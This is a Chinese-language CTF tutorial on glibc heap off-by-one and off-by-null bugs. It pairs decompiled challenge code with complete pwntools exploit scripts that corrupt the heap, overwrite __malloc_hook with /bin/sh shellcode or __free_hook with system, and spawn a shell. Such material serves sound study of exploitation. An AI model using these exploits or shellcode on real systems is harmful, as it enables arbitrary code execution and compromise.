off-by-one是一种特殊的溢出漏洞,off-by-one指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节。这种漏洞的产生往往与边界验证不严和字符串操作有关,也不排除写入的size正好就只多了一个字节的情况。
一般认为,单字节溢出是难以利用的,但是因为Linux的堆管理机制ptmalloc验证的松散性,基于Linux堆的off-by-one漏洞利用起来并不复杂,并且威力强大。
off-by-one是可以基于各种缓冲区的,比如栈、bss段等等,但是堆上(heap based)的off-by-one是比较常见的。
在程序设置循环读取时(例如C语言的for循环),由于对于循环次数的检查不够严格,导致读取溢出了一个字节
例如:
char a[16]; for(int i = 0;i<=16;i++) { read(0,a,1); }
可以看出其实这个循环进行了17次,多向a中读入了一个字节,造成了溢出,攻击者可以通过这个漏洞达成许多攻击效果
这种方法主要与字符串函数有关,如printf函数的%s参数,通过将字符串末尾的‘\x00’覆盖掉从而使其能够输出该字符串之后的内容,造成内存地址的泄露
例:
源代码:
#include<stdio.h> #include<stdlib.h> int main() { char a[16]; for(int i = 0;i<=16;i++) { read(0,a+i,1); } printf("%s",a); return 0; }
溢出了一个字节,此时当我们输入17个字符的垃圾数据后,我们便可以通过溢出的那个字节覆盖使printf能够泄露之后的数据
这种漏洞利用方式在堆中利用较多,具体利用如下:
堆chunk的结构:
glibc的堆管理器只通过size域的数据来判断chunk的大小,对于size域被篡改的情况基本上无法防御只能傻傻地将这块chunk“延长”,这就给off by one构造了攻击条件。
在off by one的条件下通过一字节的溢出修改下一个堆块的size造成块结构之间出现重叠,即chunk overlap,以此可以达成另一种形式的UAF。
什么是chunk overlap
假设我们申请了三个堆块Chunk A Chunk B Chunk C
先释放chunkA,再释放chunkB,此时触发off by null修改chunkC的prev_inuse为前两个堆块大小的总和(包括chunk头)。接着释放chunkC,此时因为向后合并会获得一个大小为chunkA+chunkB+chunkC的堆块。由于chunkB其实并不是free的,接着再把chunkB申请回来,这是我们就可以对chunkB进行任意构造了。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { const char *v3; // rdi int v4; // eax __int64 v5; // rdx int v6; // ecx int v7; // r8d int v8; // r9d char v9[908]; // [rsp+20h] [rbp-390h] BYREF int v10; // [rsp+3ACh] [rbp-4h] init(); v3 = "Welcome to Hacker's Note"; writing("Welcome to Hacker's Note", argv); while ( 1 ) { while ( 1 ) { menu(v3, argv); v4 = shellcode(); v10 = v4; if ( v4 != 2 ) break; v3 = v9; delete(v9); } if ( v4 > 2 ) { if ( v4 == 3 ) { v3 = v9; edit(v9); } else { if ( v4 == 4 ) { writing("see u ~", argv); sub_40F090(0LL); } LABEL_13: v3 = "Invaild choice!"; writing("Invaild choice!", argv); } } else { if ( v4 != 1 ) goto LABEL_13; v3 = v9; add(v9, argv, v5, v6, v7, v8); } } }
__int64 __fastcall add(__int64 a1, __int64 a2, __int64 a3, int a4, int a5, int a6) { __int64 v6; // rdx __int64 v8; // rdx unsigned int v9; // [rsp+14h] [rbp-1Ch] int v10; // [rsp+18h] [rbp-18h] int i; // [rsp+1Ch] [rbp-14h] v10 = -1; for ( i = 0; i <= 15; ++i ) { v6 = 8 * (i + 16LL); if ( !*(v6 + a1) ) { v10 = i; a2 = i; sub_40FE90("You Get Index : %d\n", i, v6, a4, a5, a6); break; } } if ( v10 == -1 ) { writing("List Full !"); return 0LL; } else { writing("Input the Size:"); v9 = shellcode(); *(v8 + a1) = sub_41EA20(v9, a2, 8LL * v10); if ( *(8LL * v10 + a1) ) { *(a1 + 8 * (v10 + 16LL)) = v9; writing("Input the Note:"); readfile(*(8LL * v10 + a1), v9); writing("Add Done!"); } else { writing("Allocation Failed !"); } return 0LL; } }
__int64 __fastcall delete(__int64 a1) { signed int v2; // [rsp+1Ch] [rbp-4h] writing("Input the Index of Note:"); v2 = shellcode(); if ( !sub_400B04(v2, a1) ) { writing("Invaild !!"); } else { *(8 * (v2 + 16LL) + a1) = 0LL; sub_41EDC0(*(8LL * v2 + a1)); *(8LL * v2 + a1) = 0LL; writing("Delete Done!"); } return 0LL;
__int64 __fastcall edit(__int64 a1) { signed int v2; // [rsp+1Ch] [rbp-4h] writing("Input the Index of Note:"); v2 = shellcode(); if ( !sub_400B04(v2, a1) ) { writing("Invaild !!"); } else { writing("Input the Note:"); readfile(*(8LL * v2 + a1), *(8 * (v2 + 16LL) + a1)); *(a1 + 8 * (v2 + 16LL)) = strlen(*(8LL * v2 + a1));//计算chunk内容的长度,会造成off by one writing("Edit Done!"); } return 0LL; }
静态编译的堆题 保护全关 没有 show 功能。
在 edit 功能中chunk 的 size 会根据 strlen 函数而修改,那么如果我们将下一个相邻的 chunk 的 prev size 填满,那么 strlen 计算的时候就会算上下一个相邻 chunk 的 size 头的8字节,就会造成 off by one 漏洞了。
#first : off by one -> chunk overlap add(0x18) #index 0 add(0x10) #index 1 add(0x30) #index 2 add(0x10) #index 3 add(0x30) #Index 4 edit(0, b'a'*0x18) #off by one edit(0, b'a'*0x18 + p8(0x61)) #dbg()
#fastbin attack malloc_hook = 0x6CB788 free(4) free(2) free(1) add(0x50, p64(0)*3 + p64(0x41) + p64(malloc_hook - 0x16))
改fd为malloc_hook
# change malloc_hook to shellcode shellcode = b'\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05' add(0x30) add(0x30, b'\x00'*6 + p64(malloc_hook + 8) + shellcode)
改malloc_hook为shellcode,再add一次即可getshell
from pwn import * def s(a) : p.send(a) def sa(a, b) : p.sendafter(a, b) def sl(a) : p.sendline(a) def sla(a, b) : p.sendlineafter(a, b) def r() : return p.recv() def pr() : print(p.recv()) def rl(a) : return p.recvuntil(a) def inter() : p.interactive() def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) context(os='linux', arch='amd64', log_level='debug') p = process('./hacknote') elf = ELF('./hacknote') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def dbg(): gdb.attach(p) pause() def add(size, data = b'a'): sla(b'4. Exit\n-----------------\n', b'1') sla(b'Size:\n', str(size)) sla(b'Note:\n', data) def free(idx): sla(b'4. Exit\n-----------------\n', b'2') sla(b'Note:\n', str(idx)) def edit(idx, data): sla(b'4. Exit\n-----------------\n', b'3') sla(b'Note:\n', str(idx)) sla(b'Note:\n', data) malloc_hook = 0x6CB788 # first : off by one -> chunk overlap add(0x18) #index 0 add(0x10) #index 1 add(0x30) #index 2 add(0x10) #index 3 add(0x30) #Index 4 dbg() edit(0, b'a'*0x18) edit(0, b'a'*0x18 + p8(0x61)) dbg() free(4) free(2) free(1) # tow fastbin attack add(0x50, p64(0)*3 + p64(0x41) + p64(malloc_hook - 0x16)) # change malloc_hook dbg() shellcode = b'\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\x48\x31\xf6\xb0\x3b\x0f\x05' add(0x30) add(0x30, b'\x00'*6 + p64(malloc_hook + 8) + shellcode) dbg() #gdb.attach(p, 'b *0x400bf8') #pause() sla(b'4. Exit\n-----------------\n', b'1') sla(b'Size:\n', str(0x10)) inter()
off by null 本质上就是由于长度的检查不严谨导致了一个空字节的溢出造成的,通常我们会用它来构造Heap Overlap或是用来触发unlink。
这些的前提是对于堆块的合并有所了解。
/* consolidate forward */ if (!nextinuse) { unlink(av, nextchunk, bck, fwd); size += nextsize; } else clear_inuse_bit_at_offset(nextchunk, 0);
向前合并的检查:当一个chunk被free时去检查其物理相邻后一个chunk(next chunk)的prev_inuse位,若为0则证明此块已被free,若不是则将其prev_inuse位清0,执行free操作之后返回。接下来要检查下一个chunk是不是top chunk 若是则和前一块合并,若不是则进入向前合并的流程。
向前合并流程:
让nextchunk进入unlink流程
给size加上nextsize(同理也是表示大小上两个chunk已经合并了)
/* consolidate backward */ if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }
先检查当前堆块的prev_inuse位是否清零,若是则进入向后合并的流程:
先把前一个堆块的位置找到即p-p->prev_inuse
修改P -> size为P -> size + FD -> size(以此来表示size大小上已经合并)
让FD进入unlink函数
和off by one不同,off by null溢出的是NULL字节即'\x00'
在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。
一定要申请以0x100整数倍大小的堆块,例0xf8,这样可以正好写到下一个chunk的prev_inuse位。
int __cdecl main(int argc, const char **argv, const char **envp) { unsigned __int64 v4; // [rsp+8h] [rbp-8h] init(argc, argv, envp); while ( 1 ) { menu(); v4 = (int)retnum(); if ( v4 == 5 ) break; if ( v4 > 5 ) goto LABEL_13; switch ( v4 ) { case 4uLL: show(); break; case 3uLL: edit(); break; case 1uLL: add(); break; case 2uLL: delete(); break; default: LABEL_13: puts("Invalid choice."); break; } } puts("Goodbye!"); return 0; }
size_t add() { size_t result; // rax int i; // [rsp+4h] [rbp-Ch] size_t size; // [rsp+8h] [rbp-8h] for ( i = 0; ; ++i ) { if ( i > 16 ) exit(0); if ( !heappp[i] || !sizeee[i] ) break; } printf("Input size: "); size = (int)retnum(); if ( size <= 0xFF || size > 0x3FF ) exit(0); heappp[i] = malloc(size); result = size; sizeee[i] = size; return result; }
QWORD *delete()
{
_QWORD *result; // rax
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("Input index: ");
v1 = (int)retnum();
if ( v1 > 0x10 || !heappp[v1] || !sizeee[v1] )
exit(0);
free((void *)heappp[v1]);
heappp[v1] = 0LL;
result = sizeee;
sizeee[v1] = 0LL;
return result;
}
__int64 edit() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] printf("Input index: "); v1 = (int)retnum(); if ( v1 > 0x10 || !heappp[v1] || !sizeee[v1] ) exit(0); read(0, (void *)heappp[v1], sizeee[v1]); return check((_BYTE *)heappp[v1]); }
int show() { unsigned __int64 v1; // [rsp+8h] [rbp-8h] printf("Input index: "); v1 = (int)retnum(); if ( v1 > 0x10 || !heappp[v1] || !sizeee[v1] ) exit(0); return printf("%lx", *(_QWORD *)heappp[v1]); }
两次利用off by null修改size域和prev_inuse位实现chunk overlap和unlink绕过
for i in range(8): add(0x250) #0 ~ 7 for i in range(7, -1, -1): free(i) for i in range(7): add(0x250) #0 ~ 6 add(0x120) #7 show(7) libc_base = int(p.recv(12), 16) - 0x2c0 - libc.sym['__malloc_hook'] print(' libc_base : ', hex(libc_base))
先泄露出libc基址
# off by null -> chunk overlap add(0x120) #index 8 for i in range(9): free(i) for i in range(7): add(0x1f0) #0 ~ 6 add(0x1f0) #7 add(0x108) #8 add(0x200) #9 add(0x108) #10 add(0x108) #11 for i in range(7): free(i) #index 0 ~ 6 free(7) edit(8, b'\x11'*0x108) edit(8, b'\x11'*0x100 + p16(0x310)) edit(9, b'\x00'*0x1f8 + p64(0x121)) free(9) # unlink attack
利用off by null填满tcachebin
free(11) free(8) add(0x300) #0 edit(0, b'\x00'*0x200 + p64(free_hook - 8)) add(0x108) #1 add(0x108) #2 edit(2, p64(0) + p64(system)
改freehook为system
接下来free一个填入了'bin/sh'的堆块即可getshell
from pwn import* context(os='linux', arch='amd64', log_level='debug') def s(a) : p.send(a) def sa(a, b) : p.sendafter(a, b) def sl(a) : p.sendline(a) def sla(a, b) : p.sendlineafter(a, b) def r() : return p.recv() def pr() : print(p.recv()) def rl(a) : return p.recvuntil(a) def inter() : p.interactive() def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) p = process('./pwn') elf = ELF('./pwn') libc = ELF('./libc-2.27.so') def dbg(): gdb.attach(p) pause() def add(size): sla(b'> ', b'1') sla(b'size: ', str(size)) def free(idx): sla(b'> ', b'2') sla(b'index: ', str(idx)) def edit(idx, data): sla(b'> ', b'3') sla(b'index: ', str(idx)) s(data) def show(idx): sla(b'> ', b'4') sla(b'index: ', str(idx)) # leak libc_base for i in range(8): add(0x250) #0 ~ 7 for i in range(7, -1, -1): free(i) for i in range(7): add(0x250) #index 0 ~ 6 add(0x120) #7 show(7) libc_base = int(p.recv(12), 16) - 0x2c0 - libc.sym['__malloc_hook'] print(' libc_base : ', hex(libc_base)) dbg() # off by null -> chunk overlap add(0x120) #index 8 for i in range(9): free(i) for i in range(7): add(0x1f0) #0 ~ 6 add(0x1f0) #7 add(0x108) #8 add(0x200) #9 add(0x108) #10 add(0x108) #11 for i in range(7): free(i) #index 0 ~ 6 free(7) edit(8, b'\x11'*0x108) edit(8, b'\x11'*0x100 + p16(0x310)) edit(9, b'\x00'*0x1f8 + p64(0x121))#change prev_inuse free(9) # unlink attack dbg() # free_hook -> system free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] free(11) free(8) add(0x300) #0 edit(0, b'\x00'*0x200 + p64(free_hook - 8)) add(0x108) #1 add(0x108) #2 edit(2, p64(0) + p64(system)) dbg() edit(1, b'/bin/sh\x00') free(1) inter()
参考文章: